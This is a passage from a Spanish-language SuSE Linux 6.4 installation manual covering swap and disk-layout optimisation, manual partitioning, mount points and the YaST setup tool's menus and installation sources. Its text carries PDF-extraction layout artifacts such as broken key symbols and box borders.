porque estos se distribuyen entre sí la carga y el tiempo de acceso. Uso como Servidor: Un Servidor (Compute-Server) es generalmente una computadora potente que se encarga de tareas de cálculo grandes en una red. Típicamente una máquina de estas características tiene mucha memoria (a partir de 512 MB). El cuello de botella se encuentra aquí, en las particiones de swap. En este caso también cuenta que es mejor distribuir varias particiones swap en varios discos4 . 2.9.3 Posibilidades de optimización Generalmente los discos duros son el factor limitante. Existen dos diferentes posibilidades (que se deben usar juntas) para pasar por ese cuello de botella: o Distribuir la carga de manera equilibrada en varios discos. o Utilizar un sistema de ficheros optimizado (p. ej. reiserfs ). o Equipar el servidor de ficheros con suficiente memoria (mínimo 128 MB). _____________________________________________4 Si la computadora trabaja aún con el kernel 2.0.xx, cabe reseñar que el tamaño máximo de la partición de swap es de 128 MB, pero Linux puede administrar hasta 8 de estas particiones (con pocas modificaciones también 64). Para el kernel 2.2.xx el tamaño máximo del ''Swap'' es de 2 GB. 74 __________________________________________________________________________________2.9.__Particionar_para_avanzados__________* *______________________ Paralelizar con varios discos Hay que explicar el primer método con más detenimiento. El tiempo total que transcurre hasta que se pueden proporcionar los datos pedidos a un disco, se constituye (aproximadamente) de las siguientes fases: 1. tiempo, hasta que el pedido está en la controladora. 2. tiempo, hasta que la controladora envíe este pedido al disco duro. 3. tiempo, hasta que el disco duro posiciona su cabezal. 4. tiempo, hasta que el disco se haya girado hacia al sector correcto. 5. tiempo para la transmisión de los datos. El punto 1 depende de la conexión a la red, se regula allí y no nos debe ocupar ahora. El tiempo mencionado en el punto 2 es muy corto y depende de la controladora misma. El punto 3 suele ser ''lo gordo'', ya que se trata de un tiempo que se mide en ms. Comparado con los tiempos de acceso a la memoria RAM, que son del orden de ns, hablamos de un factor de 1 millón(!). El punto 4 depende de las revoluciones del disco y el punto 5 de esas revoluciones y de la cantidad y posición actual de los cabezales (en la zona interior o exterior del disco). Lo mejor para un buen rendimiento es entonces ''atacar'' en el punto 3. Los discos del tipo SCSI lo tratan de mejorar mediante la característica ''discon- nect''. Esta característica significa más o menos lo siguiente: La controladora envía al dispositivo conectado (en este caso el disco duro) la orden ''¡Vete a la pista x, sector y!''. Ahora la mecánica del disco duro con toda su inercia se tiene que poner en marcha. Si el disco es inteligente (o maneja ''disconnect'') y el driver de la controladora también conoce esta característica, entonces la controladora del disco envía inmediatamente la orden ''disconnect'' y el disco se separa del bus-SCSI. A partir de ahora, otros dispositivos SCSI pueden llevar a cabo la transferencia de datos. Después de un rato (dependiendo de la estrategia o de la carga en el bus SCSI), se reanudará la conexión al disco duro. En el caso ideal, éste ya habrá llegado con su cabezal a la posición de lectura deseada. En un sistema multitarea y multiusuario como Linux, quedan muchas posi- bilidades para optimizar. Se puede observar entonces el resultado de la salida del comando df (ver Mensaje en pantalla 2.9.1). _______________________________________________________________________________________________________________________ |||||||| Filesystem 1024-blocks Used Available Capacity Mounted on | |||||||| /dev/sda2 45835 27063 16152 63% / | |||||||| /dev/sdb1 992994 749694 192000 80% /usr | |||||||| /dev/sdc1 695076 530926 133412 80% /usr/lib | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 2.9.1: Ejemplo de particionar: Resultado del comando df . ¿Qué ventaja proporciona esta paralelización? Supongamos que se introduce en /usr/src lo siguiente: root@tierra:/usr/src/ > tar xzf paket.tgz -C /usr/lib De este modo se instala paket.tgz en /usr/lib/paket. Para ello, la shell llama los programas tar y gzip (se encuentran en /bin y por lo tanto sobre * * 75 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ /dev/sda), después se lee paket.tgz desde /usr/src (se encuentra sobre /dev/sdb). Por último, los datos extraídos se escriben en /usr/lib, que se encuentra sobre /dev/sdc. Ahora el posicionamiento tal como la lec- tura/escritura de los + Búferes internos del disco, se pueden llevar a cabo de manera casi~paralela. Lo arriba expuesto es solamente un ejemplo entre muchos. Por experiencia se puede decir que /usr y /usr/lib se deben encontrar en diferentes discos si se trata de un sistema de varios discos igual de rápidos. El path /usr/lib debe tener cerca del 70% de la capacidad de /usr. Por la gran cantidad de accesos es conveniente que el + Directorio root se encuentre en el disco con /usr/lib. A partir de una cierta cantidad de discos SCSI (de 4 a 5), conviene considerar seriamente una solución RAID por software o (mejor) la adquisición de una controladora RAID. Con ella, las operaciones en los discos se ejecutarán no solo de manera casi-paralela pero realmente de forma paralela. La tolerancia respecto a fallos es otra agradable ventaja de la tecnología RAID. Tasa de transferencia a discos y tamaño de memoria Mencionamos en varios sitios que bajo Linux, el tamaño de la memoria puede resultar en muchas ocasiones más importante que la propia velocidad del procesador. Una razón ~ sino la mayor ~ es la propiedad que tiene Linux de generar búferes dinámicos con datos del disco duro. Haciendo esto, Linux usa muchos trucos sofisticados como ''read ahead'' (saca sectores adicionales del disco como provisión para el futuro) y ''delayed write'' (ahorra grabar datos para luego guardar una mayor cantidad de información de una sola vez). Lo último es la razón por la cual no se puede apagar así de simple una computadora con Linux. Ambos trucos son los responsables del hecho que la memoria aparezca con el tiempo más llena y del hecho que Linux sea tan rápido. ________________________________________________________________________________________________________* *________|| | total used free shared buffers cached * * | | Mem: 63304 62312 992 15920 38692 4200 * * | | -/+ buffers: 19420 43884 * * | | Swap: 199508 14548 184960 * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 2.9.2: Resultado del comando free El salida en pantalla 2.9.2 muestra que hay alrededor de 38 MB almacenados en el búfer. Cuando se quiere acceder a cualquier dato que se encuentra todavía en el búfer, éste llega prácticamente al instante. 76 _________________________________________________________________2.10.__Configuración_manual_del_disco_duro_________________* *______________________ 2.10 Configuración manual del disco duro 2.10.1 Establecer particiones ¿De qué se trata? En el apartado 2.2.4 en la página 35Arrancar YaST subsection.2.2.4 se de- cidió establecer las particiones de manera interactiva. El presente apartado explica las pantallas de YaST que aparecerán durante el proceso de configu- ración. Andries Brouwer ha preparado un documento con información más de- tallada sobre los distintos tipos de partición que se encuentra en http: //www.win.tue.nl/~aeb/partitions/. Paso por paso. . . Para ajustar las particiones se procede de la siguiente manera: 1. YaST presenta una pantalla con varias zonas (ver figura 3.9 en la pági- na 91Particionar disco(s) duro(s)section.3.4): o En la parte superior de la pantalla figuran los parámetros del disco duro. o En la segunda parte se encuentran posibles advertencias y mensajes de error del_programa fdisk . Estos mensajes se pueden visualizar mejor con |F___|6. o En la parte inferior se apuntan las particiones que fdisk ha encontrado en el disco duro. Allí se pueden ver las particiones del sistema oper- ativo que se ha usado hasta ahora, por ejemplo MS~DOS. En caso de haber generado una partición de swap, ésta también figura allí. 2. Para borrar particiones existentes, con el fin de particionar de nuevo el espacio liberado, se debe hacer primero lo siguiente: Navegar con las teclas |#__|y |"__|para dirigirse a la partición que se quiere borrar. Piénselo otra_vez_bien; también tenga en cuenta_el_tipo de parti- ción. Después pulse |F___|4y confirme el borrado con |_____-|. _______________________________________________________________________________________________________________________ |||||||| Cuando se borran particiones, también se borran todos los datos contenidos ||| | |||||||| a || | |||||||| en ellas . || | |||||||| ____________________________________________ || | |||||||| a Esta afirmación no es técnicamente correcta al 100%, pero los datos se borrarán igualmente! || | ||||||||_______________________________________________________________________________________________________________||_ Si se desea borrar varias particiones, lo mejor es llevarlo a cabo de una vez. 3. En caso de querer usar las particiones de otros sistemas operativos para Linux, se puede efectuar ahora cambiando el tipo de partición. _______________________________________________________________________________________________________________________ |||||||| ¡Cuando se cambia el tipo de partición, es probable que otros sistemas ||| | |||||||| || | |||||||| operativos (MS-DOS o Windows) ya no puedan acceder a los datos con- || | |||||||| tenidos en ella! || | ||||||||_______________________________________________________________________________________________________________||_ * * 77 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Navegar con |#__|y |"__|para anotar la partición a la que se quiere_cambiar de tipo. Cuando se encuentre la partición ''correcta'', pulsar |F___|3. Aparece una pequeña ventana para seleccionar el tipo de partición desea- da. Elegir entre_una_partición Linux normal y una del tipo swap y después confirmar con |_____-|. 4. Si quiere generar nuevas particiones de Linux (lo normal), entonces ___ genérelas_ una después de la otra. Con este fin se pulsa primero |___F|5. Si |___F|5no muestra ningún resultado, significa que no hay espacio para nuevas particiones en el disco duro. En este caso habrá que borrar primero algunas particiones (ver arriba). . . . Figura 2.18: YaST ~ Definición de particiones Aparece una ventana de selección para definir el tipo de la nueva parti- ción (figura 2.18). Seleccionar entre `Partición primaria', `Parti- ción extendida'_ y eventualmente `Partición lógica'; confirmar con |_____-|. Para recordar: Cada disco soporta como máximo cuatro parti- ciones primarias. Si se necesitan más de cuatro particiones primarias, la cuarta partición debe ser una partición extendida, dentro de la cual se pueden generar entonces varias particiones lógicas. Para mayor in- formación ver el apartado 2.8 en la página 70Tipos de partición en el PCsection.2.8. Si se ha generado una partición lógica o primaria, se debe determinar bajo cuál nombre de dispositivo (ingl. device) debe figurar. YaST ofrece los nombres disponibles para éstos; simplemente_se selecciona el nombre superior, p. ej. `/dev/hda2' y se pulsa |_____-|. En el siguiente paso se tiene que definir el tamaño de la nueva partición. YaST propone como comienzo de la primera, el primer__cilindro_ libre. Normalmente se puede confirmar esta propuesta con |_____-|. Ahora es necesario fijar el final de la partición. Se presentan tres posibilidades: Precisar ya sea el número del cilindro final (p. ej. 976 ), la cantidad de 78 _________________________________________________________________2.10.__Configuración_manual_del_disco_duro_________________* *______________________ cilindros de la partición_(p._ej. +66 ) o bien, el tamaño en megabytes_(p. ej. +100M ). De nuevo |_____-|le lleva a `Continuar'; confirme con |_____-|. La partición recién definida aparece ahora en la parte inferior de la pan- talla. Si esta_partición_no ha resultado como se esperaba, se puede borrar de nuevo con |F___|4. . . 5. Una de las particiones debe ser en _todo caso_ del tipo swap. Si todavía no ha generado ninguna, seleccione con |#_ |y |"_ |una partición adecuada (para encontrar un tamaño razonable para la partición swap consulte el apartado 2.8 en la página 70Tipos de partición en el PCsection.2.8). Pulse ||__|F3, seleccione `Partición Linux swap' y confirme la operación con ||__ _____-|. 6. ¿Están ahora todas las particiones establecidas según su deseo? (el dis- co duro debe estar completamente ocupado) ¿También se__ha_ tenido en cuenta la partición de swap? Entonces mueva el + _Cursor_|T____a|bal campo `Continuar', en caso de no encontrarse allí ya. | _____|-le llevará después de una confirmación adicional a la ventana `Definición de sistemas de fichero'. Según las condiciones, YaST comprueba otra vez la partición de swap para asegurarse. 2.10.2 Fijar sistemas de fichero y ''Mountpoints'' ¿De qué se trata? En el paso anterior todas las particiones se dieron de alta en la tabla de particiones. En el paso actual se debe proporcionar información adicional para las particiones Linux recién configuradas y para las que puedan existir del tipo DOS o HPFS. Información adicional La información adicional acerca de las particiones, se queda parcialmente fija en el fichero /etc/fstab, que es la tabla de sistemas de fichero (ingl. file system table). Esta tabla contiene todas las características constantes sobre los sistemas de fichero, p. ej. el nombre de dispositivo (ingl. + Device), la posición o el tipo de sistema 5 . Además, YaST necesita los datos para poder establecer los sistemas de fichero Linux en las particiones formateadas. En este paso de la configuración no se toca la partición swap, porque ya fue definida en el apartado 2.10.1 en la página 77Establecer particionessubsection.2.10.1 y no tiene ningún grado de libertad adicional. Contrariamente a los efectos que tiene la manipulación de la tabla de parti- ciones (ver apartado 2.10.1 en la página 77Establecer particionessubsection.2.10.1), los ajustes de este apartado son internos de Linux y en consecuencia no tienen ningún efecto sobre otros sistemas operativos que se encuentran en otras par- ticiones. A continuación_las_explicaciones_sobre_algunos_términos:___ 5 También contiene información para los programas dump y fsck ; ver la página del manual de fstab (man 5 fstab ). * * 79 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ o Bajo Linux todos los sistemas de fichero están ligados a un único ''ár- bol'' (ver figura C.1 en la página 511Vista generalsection.C.1). Para cada sistema de ficheros se debe precisar en cuál rama del árbol debe apare- cer: Este es entonces el correspondiente punto de montaje (ingl. + Mount- point). También es posible colocar particiones de DOS o HPFS en el árbol de Linux. o El espacio de almacenamiento en un sistema de ficheros Linux se ges- tiona mediante los + Inodes. El inode apunta a los datos que están al- macenados en los ficheros. Se determina la cantidad de inodes a la hora de establecer un sistema de ficheros. Cuando la idea es almacenar mu- chos ficheros pequeños, se necesitan muchos inodes (los que naturalmente necesitan más espacio por sí mismos). Por el contrario, teniendo muchos ficheros grandes no hacen falta tantos inodes. Sobre este tema hay más detalles en el apartado 3.4.1 en la página 93Menú de experto para ajustes finossubsection.3.4.1. Paso por paso. . . Dentro de la máscara de entrada se encuentra `Definición de sistemas de fichero' (ver figura 3.10 en la página 92Establecer partición/sistema de ficheros destinosubsection.3.4.1). Para definir los sistemas de fichero de las nuevas particiones, se procede de la siguiente manera: 1. Información preliminar sobre qué hacer: o Para los sistemas de ficheros DOS y HPFS (dentro de sus respectivas particiones) se puede fijar aquí un punto de montaje (ingl. + Mount- point). o Para cada una de las nuevas particiones Linux: ~ Se debe fijar un punto de montaje ~ Se puede usar `F5=Modo Experto' para realizar ajustes finos. ~ Se puede con `F6=Formatear' modificar la manera propuesta de formateado(con o sin verificación). o Para la primera instalación no se necesita la función `leer Fstab'. 2. Con |F___|_3se puede seleccionar entre los dos distintos sistemas de ficheros; actualmente se puede seleccionar entre el probado ext2 y el nuevo reiserfs que ofrece prestaciones más avanzadas. ________________________________________________________________________________________________________* *________|| | No se puede usar el ReiserFS en conjunto con un Software-RAID 1 o * * |||| | RAID 5. En cuanto al Hardware-RAID no existe ninguna restricción. ~ * * ||| | * * ||| | reiserfs es aún muy joven en comparación con ext2 ; hay que considerar * * ||| | esto a la hora de decidirse para ello. Para más información consulte en la * * ||| | * * ||| | página 92Definir tiposubsection.3.4.1. * * ||| |_______________________________________________________________________________________________________* *________|||_ 3. Para acceder con Linux a una_partición_del tipo DOS o HPFS, hay que seleccionarla y pulsar | ___F|4. Aparece un cuadro de diálogo que pide el nombre de un directorio. Bajo el nombre de este directorio se encon- trará después el sistema de ficheros DOS/HPFS. Escriba aquí por ejemplo_ dosc; recuerde colocar la barra (`/') al comienzo. Confirme con |_____-|. 80 _________________________________________________________________2.10.__Configuración_manual_del_disco_duro__________________* *_____________________ Figura 2.19: YaST ~ Montar particiones DOS/Windows En el caso de una partición de DOS, aparecerá un cuadro de diálogo adicional (figura 2.19) en el que se selecciona el modo en que Linux debe acceder al sistema de ficheros DOS (ver también apartado 3.4.1 en la página 93Mountpoint ~ Punto de anclajesubsection.3.4.1). Lo normal es que el uso de la partición DOS desde Linux vaya a ser esporádico, p. ej. para el intercambio de ficheros, así que se puede seleccionar aquí `DOS' o `FAT-Win95' (= vfat ). Las propiedades de los ficheros son como las de UNIX y los nombres de fichero largos como los ofrece el sistema de ficheros + UMSDOS, los cuales solamente se necesitan si se quiere instalar SuSE Linux en una partición DOS. ¡Es mejor evitar esto lo más que se pueda! 4. Ahora se deben introducir los puntos de montaje (ingl. + Mountpoints) de las particiones_Linux. Seleccione estas particiones una después de la otra y pulse |F___|4. Aparece la ventana en la que debe introducir el directorio, bajo el cual aparece el sistema de ficheros de esta partición dentro del sistema de ficheros total. Siempre se introduce el ''path'' con la barra (`/') al comienzo. Por supuesto, dependerá de los planes de particionar, cuáles directorios se indicarán como puntos de montaje. En todo caso se necesita un directorio `/' (ingl. root directory) que forma la raíz y el tronco del sistema de ficheros completo; en castellano se denomina ''directorio raíz''. Como ya se ha mencionado, los demás sistemas de fichero y sus correspondientes puntos de montaje son cuestión de gusto; pero cuidado: _______________________________________________________________________________________________________________________|| |||||||| Los directorios que se necesitan en el arranque de la máquina, tienen que ||| | |||||||| estar colocados directamente en el sistema de ficheros `/', porque en el || | |||||||| || | |||||||| momento de arrancar las distintas ramas del sistema de ficheros total aún || | |||||||| no están unidos al tronco (aún no están ''montados''). Así pues, no se deben || | |||||||| || | |||||||| indicar aquí los directorios /bin, /dev, /lib, /etc y /sbin || | ||||||||_______________________________________________________________________________________________________________||_ 5. Lo mejor es ignorar el menú `Expertos', si apenas está comenzando con * * 81 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Linux; normalmente los valores de selección automática son adecuados y aseguran un funcionamiento seguro. No modifique estos valore sin conocer bien las consecuencias (ver en la página 93Menú de experto para ajustes finossubsection.3.4.1). 6. Determinar si se deben formatear o no las particiones de Linux y en caso positivo cómo deben ser formateadas. Las particiones que fueron generadas bajo el apartado 2.10.1 en la página 77Establecer particionessubsection.2.10.1, deben ser formateadas en todo caso. Si tiene un disco duro moderno es suficiente usar `Formateo normal'. Con un disco un tanto anticuado es mejor usar `Formateo con veri- ficación'. Figura 2.20: YaST ~ Puntos de montaje Seleccionar sucesivamente las particiones Linux, pulsar |____|F6y escoger después el tipo de formateo adecuado; al final de este paso, el menú debe aparecer como lo muestra la figura 2.20 (generalmente no se tendrá ningún directorio NFS apuntado) 7. Seleccionar `Continuar' y confirmar la pregunta de seguridad. Ahora YaST formatea las particiones. 82 Capítulo 3 YaST ~ Yet another Setup Tool YaST (yast ) es una parte esencial de SuSE Linux. Ayuda a instalar el sis- tema, administrar el software (Instalación y desinstalación) y da soporte en las tareas de administración de sistema. Este capítulo describe las funciones más importantes de YaST para facilitar al máximo la instalación. _______________________________________________________________________________________________________________________|| |||||||| SuSE Linux 6.4 contiene una versión de YaST mejorada, de manera que ||| | |||||||| las imágenes de pantallas (''Screenshots'') en el libro ya no concuerdan al || | |||||||| || | |||||||| cien por cien con las anteriores. || | ||||||||_______________________________________________________________________________________________________________||_ 3.1 Uso y distribución de teclado Primero se arranca YaST en el + Prompt con la orden yast : tierra: # yast YaST se maneja por lo general_con las teclas del cursor (las flechas) y con la tecla del tabulador (|T____a|b).__Es_posible_moverse_dentro_de las listas con las teclas del cursor tal como con |R_________e|yPág|________A|v._PágCon la_tecla_de espacio se seleccionan las opciones en una lista y normalmente |E_______n|tero |_____-|confirman_ la selección. Por lo general se sale de los menús_ pulsando | ____E|scpero si se desea mantener los ajustes hechos se debe salir con |F____1|0. En caso de afirmación o negación (SI o NO) o cuando hace falta introducir texto (p._ej._ el nombre de un directorio), se puede saltar entre los campos usando |T____a|b. La selección activa siempre se muestra en azul. En casos raros, p. ej. cuando se arranca YaST remotamente desde un terminal ''no-Linux'', no se pueden usar las teclas que se mencionan a continuación, ya que los códigos de_las_teclas_son_mal interpretados. En tal caso,_se_pueden_ _ _____________ simular las teclas_|F_______________<|número>con la combinación_|C__________o|ntrol+|f__||_____________._ Para simular |F____1|0se_debe_pulsar la combinación |C__________o|ntrol+|f_ ||_0|. Las teclas de función |F____1|1y |F____1|2no se usan en YaST . 3.2 El menú principal de YaST Al ejecutar YaST aparece el ''Menú principal'' (figura 3.1 en la página sigu- iente). `Ayuda general para la instalación' Información diversa. * * 83 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Figura 3.1: El ''Menú principal'' `Ajustes de la instalación ->' Este punto se bifurca en un sub- menú (ver apartado 3.3). `Escoger/Instalar paquetes' Desde aquí se llega al listado de soft- ware, para instalar paquetes en el sistema o bien para eliminarlos (ver apartado 3.5 en la página 96Escoger / Instalar paquetessection.3.5). `Actualizar sistema' Para renovar paquetes entrar aquí. `Administración del sistema ->' Con esta opción se abre el menú para la administración del sistema (ver apartado 3.7 en la página 102Ad- ministración del sistemasection.3.7). `Mostrar LEAME del medio de instalación' Información adicional importante. `Copyright' Esta es la sección de los abogados. `Salir de YaST' ~ Nada dura para siempre. 3.3 Ajustes de la instalación Todos los ajustes relevantes para la instalación se efectúan en el sub-menú `Ajustes de la instalación' (figura 3.2 en la página siguiente). Con |E_____|scse puede salir de los menús. ¡No se puede efectuar la verdadera instalación antes de haber definido la partición destino! Existen algunas configuraciones que se pueden seleccionar después de la instalación para actualizarlas. 3.3.1 Definir el idioma Con `Elegir el idioma' se puede modificar el idioma de las plantillas de YaST ; el valor se guarda en la variable LANGUAGE en el fichero /etc/rc. config (ver en la página 437Configuraciones básicasHfootnote.76). 84 _______________________________________________________________________________________3.3.__Ajustes_de_la_instalación______* *______________________ Figura 3.2: Menú `Ajustes de la instalación' 3.3.2 Distribución de teclado Con la opción `Elegir teclado' se puede modificar la distribución de teclado, cuyo valor se almacena en la variable dentro del fichero /etc/rc.config (ver apartado 17.6 en la página 438Inicializar hard- ware local (Teclado, modem, mouse, PCMCIA etc.)Hfootnote.76). 3.3.3 El medio de instalación El cuadro de diálogo en la figura 3.3 ofrece la posibilidad de elegir el medio desde el cual se quiere instalar todo el software, accediendo a él mediante la opción `Elegir el medio de instalación'. Figura 3.3: Eligiendo la fuente de instalación en YaST * * 85 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Por lo general se elige aquí la opción `Instalación desde CD-ROM' ya que lo más frecuente es hacer la instalación directamente desde el CD-ROM de la computadora. Incluso cuando Linux no soporta directamente su lector CD-ROM también es posible instalarlo optando por la opción `Instalación desde una par- tición' del disco duro (ver también apartado 3.3.5). Si el contenido del los CDs se encuentra en algún directorio del árbol de directorios, se puede usar la opción `Instalación desde directorio'. Con las opciones `Instalación desde NFS' e `Instalación desde un servidor FTP' es posible instalar Linux en una computadora que si bien no tiene su propio lector CD-ROM sí tiene conexión de + Ethernet a una computadora con lector de CD-ROM. Para realizar esto se puede con- sultar el apartado 3.3.6 o el apartado 3.3.8 en la página 88Instalación vía FTPsubsection.3.3.8. 3.3.4 Instalación desde CD-ROM Figura 3.4: Elección del lector CD-ROM Cuando se instala Linux directamente desde el CD-ROM se especifica aquí el tipo de lector que se tiene. Si no hay seguridad sobre esto, se puede comenzar probando lectores tipo `ATAPI EIDE'. 3.3.5 Instalación desde una partición del disco duro En el caso que Linux no soporte directamente el lector CD-ROM, también se puede instalar el sistema en la computadora haciendo un desvío a través de otro medio de instalación. 3.3.6 Instalación vía NFS Con la instalación vía NFS el usuario avanzado tiene la posibilidad de instalar de manera simple y confortable varias computadoras, aunque solo una de 86 _______________________________________________________________________________________3.3.__Ajustes_de_la_instalación______* *______________________ ellas esté equipada con un lector CD-ROM o con un disco duro que albergue la información del CDROM. Para efectuar una instalación usando NFS se debería estar acostumbrado a la configuración de este tipo de servidor. Aprovechándose de esta característica, también se puede instalar un portátil que tenga una tarjeta red del tipo PCMCIA. Figura 3.5: Introducción de parámetros de red para la instalación NFS La instalación vía NFS no solo es posible para computadoras que están conec- tadas por Ethernet, sino que también lo es para una computadora conectada a un servidor a través del puerto paralelo. Para portátiles y notebooks esta car- acterística tiene una importancia especial. Si se desea efectuar una instalación así, es necesario evidentemente, elegir para el arranque de la computadora un kernel que contenga el soporte PLIP. Aparte de éste hay que hacer algunos ajustes adicionales para que la interface PLIP funcione correctamente. Si se conecta directamente con el servidor NFS, entonces la dirección de la contraparte es la misma que se debe introducir posteriormente como dirección del servidor NFS. La interface PLIP será en la mayoría de los casos plip1 al igual que los parámetros del hardware, que no deberían diferenciarse del estándar. ¡Si se usa el puerto paralelo como interfase PLIP, éste ya no se podrá usar como puerto para una impresora! por lo tanto, al conectar la impresora a este tipo de puerto, ésta reacciona en la mayoría de los casos con un ''Reset'' continuo cuando el driver PLIP se activa. Entonces, en la siguiente pantalla, se debe introducir la dirección IP del servi- dor NFS tal como el directorio que contiene los ficheros de instalación. ¡Nat- uralmente, el servidor tiene que exportar este directorio a la computadora que lo pide! * * 87 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Figura 3.6: Configuración de una conexión PLIP 3.3.7 Instalación desde una partición Esta opción sirve sobre todo para seguir instalando software una vez que el sistema Linux funciona. Además representa una posibilidad para instalar componentes desde algún dispositivo para el cual aún no existía soporte en en forma de drivers en el momento de la producción de los CDs. Por lo tanto, para poder acceder ahora desde YaST a este dispositivo, primero_ ___ se arranca YaST . Hecho esto, se cambia a otra consola (p. ej. con |A____l|t+|F___|2 a la segunda consola virtual) y se efectúa allí un login como `root'. Desde esta consola se debe + montar (ingl. mount) a mano el lector CD-ROM sobre un determinado directorio, introduciendo p. ej. tierra: # mount -tiso9660 /dev/cdrom /cdrom Ver también el apartado 19.11.2 en la página 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2. Ahora es posible instalar de manera completamente normal. Con este fin se introduce en la siguiente pantalla (figura 3.7 en la página siguiente) el directorio que contiene los ficheros de instalación; este es el directorio sobre el cual se ha montado el CD añadiendo el path suse. Si por ejemplo se ha montado el dispositivo (o la partición de un disco duro) sobre el directorio /cdrom, se introduce entonces tal como en la figura 3.7 en la página siguiente: /cdrom/suse 3.3.8 Instalación vía FTP Como en el caso de NFS, se trata de una posibilidad adicional de instalar SuSE Linux en una computadora que no tiene (soportado) ningún lector CD- ROM. El requisito es en efecto, haber hecho ya la configuración base de la red. 88 _______________________________________________________________________________________3.3.__Ajustes_de_la_instalación______* *______________________ Figura 3.7: Introducción del directorio fuente Figura 3.8: Indicaciones para la instalación vía FTP `Servidor FTP [Nombre|IP]' El nombre o la dirección IP del servidor FTP. `Directorio del servidor' El lugar en el servidor en el que se encuen- tra el directorio suse. `[ ] ¿Usar Proxy?' Solo se marca cuando se está seguro de necesitar un FTP-Proxy; por lo general no se necesita ninguno. Por el contrario sí que se necesita un FTP-Proxy real; no se puede usar HTTP-Proxies! `Proxy [Name|IP]' Se usa solamente cuando se ha marcado la opción anterior. `[X] ¿Puerto FTP predeterminado?' Preferiblemente marque esta op- ción. `Puerto [número]' Generalmente debe estar en 21 . * * 89 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ `[X] ¿FTP anónimo?' Se debe marcar siempre que se deba acceder a un servidor FTP público. `Login' Si no ha marcado la opción anterior, entonces se debe proporcionar aquí el nombre de usuario y, en la próxima opción, `Password' la contraseña. `Timeout [segundos]' 60 es un buen valor. `Directorio tmp local' El directorio local en el cual se deben almace- nar los ficheros temporalmente. Advertencia: YaST solo establece conexiones FTP pasivas 3.4 Particionar disco(s) duro(s) El punto más crítico durante la instalación de un nuevo sistema operativo es el de particionar el disco duro. Por lo general cada sistema operativo necesita una partición propia. ________________________________________________________________________________________________________* *________||| | * * ||| | En el caso de Linux existe también la posibilidad de instalar el sistema op- * * ||| | erativo sobre un sistema de ficheros MS-DOS. Se aconseja tomar esta posi- * * ||| | * * ||| | bilidad solo cuando se trata de probar un poco el nuevo sistema operativo, * * ||| | ya que el rendimiento es mucho menor en comparación a una instalación * * ||| | * * ||| | sobre una partición propia de Linux. Además, el sistema no es tan seguro * * ||| | porque no existen p. ej. programas de chequeo del sistema de ficheros para * * ||| | * * ||| | MS-DOS y DOS puede influenciar a Linux durante su operación. * * ||| |_______________________________________________________________________________________________________* *________|||_ Dándole una partición propia a Linux resulta muy útil dividir el sistema en varias particiones. Al final son el gusto y la propia filosofía los que de- ciden sobre la distribución de un sistema Unix, por lo tanto no existe un único camino para todos los casos (ver apartado 2.8 en la página 70Par- ticionar para principiantessection.2.8 y apartado 2.9 en la página 71Parti- cionar para avanzadossection.2.9); el apartado 2.10.1 en la página 77Estable- cer particionessubsection.2.10.1 muestra un ejemplo detallado sobre parti- cionar. En todo caso, se debe generar una partición de intercambio (ingl. swap) para aumentar la memoria virtual (+ Memoria) de la computadora (ver apartado 2.9.1 en la página 72El tamaño de la partición de intercambio (swap)subsection.2.9.1) . Por razones de rendimiento no se debería optar por la posibilidad de generar un fichero de intercambio ya que todos los accesos a este fichero se realizarían a través del sistema de ficheros. El fichero de intercambio no es ninguna alter- nativa a una partición de intercambio, especialmente cuando la computadora no tiene mucha memoria. Si la computadora tiene más de un disco duro, se pide seleccionar el que se va a particionar en el siguiente paso. Después de esto se entra en un menú que indica la división actual del disco (imagen 3.9 en la página siguiente). Con las flechas |"__|y |#__|se puede repasar_la lista de_la_particiones disponibles y modificar el tipo_de_la partición con |F___3|. Con |F___4|se borra una partición existente y con |F___|5se puede generar una partición nueva. 90 __________________________________________________________________________________3.4.__Particionar_disco(s)_duro(s)________* *______________________ Figura 3.9: Configurar particiones La modificación de una partición (con |F___|_3) es absolutamente obligatoria para generar una partición de intercambio (swap). También es posible que no haga falta particionar el disco, por ejemplo cuando se ha decidido usar a partir de ahora una partición para Linux que actualmente ocupa otro sistema operativo. En este caso simplemente_ mueva la barra indicadora sobre la partición correspondiente y pulse |F___|3. Téngase en cuenta que no hay ningún requisito especial por parte de Linux sobre el tipo de partición a usar: Se puede instalar Linux sobre una partición primaria al igual que sobre una lógica dentro de una partición extendida. Las particiones lógicas se introdujeron debido a que en la tabla de particiones solamente hay espacio para un total de cuatro entradas. Es necesario conver- tir una partición en una extendida cuando se necesitan más que estas cuatro particiones, por lo tanto, dentro de la partición extendida se generan las par- ticiones lógicas.1 No es necesario arrancar la computadora (+ Boot) inmediatamente después de haber particionado, sino que tiene la posibilidad de definir el contenido de la instalación. De esta forma puede darse cuenta de la posible escasez de espacio en una partición y modificarla antes de ser generada realmente. Es solo hasta el momento de salir de YaST cuando se realiza la partición real física. ¡Después es absolutamente necesario reiniciar la computadora! 3.4.1 Establecer partición/sistema de ficheros destino Después de haber dividido el disco duro en particiones, se deben asignar a éstas los sub-directorios en el árbol de directorios de Linux. Para ello elija la opción `Establecer las particiones destino'. 1 ____________________________________________________ El programa fdisk de DOS denomina a las particiones extendidas y lógicas como partición DOS extendida y unidad lógica, respectivamente, aunque este concepto es independiente del sistema operativo. * * 91 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Figura 3.10: Establecer sistemas de fichero El ejemplo (figura 3.10) muestra las particiones de un sistema con un disco duro. Aquí es posible definir para cada partición si debe y cómo debe ser formateada y también en cuál punto del árbol de directorios debe montarse posteriormente. ¡Hay que definir necesariamente una partición como partición de raíz (ingl. root)! Esta se denomina partición de raíz porque representa la raíz de todos los directorios. Por lo tanto se le asigna el punto de anclaje (+ Mountpoint) `/ '). Usando las teclas de función se activan las distintas funciones para manipular los sistemas de fichero y normalmente solo se pueden modificar particiones de Linux. Cuando la barra de desplazamiento se encuentra 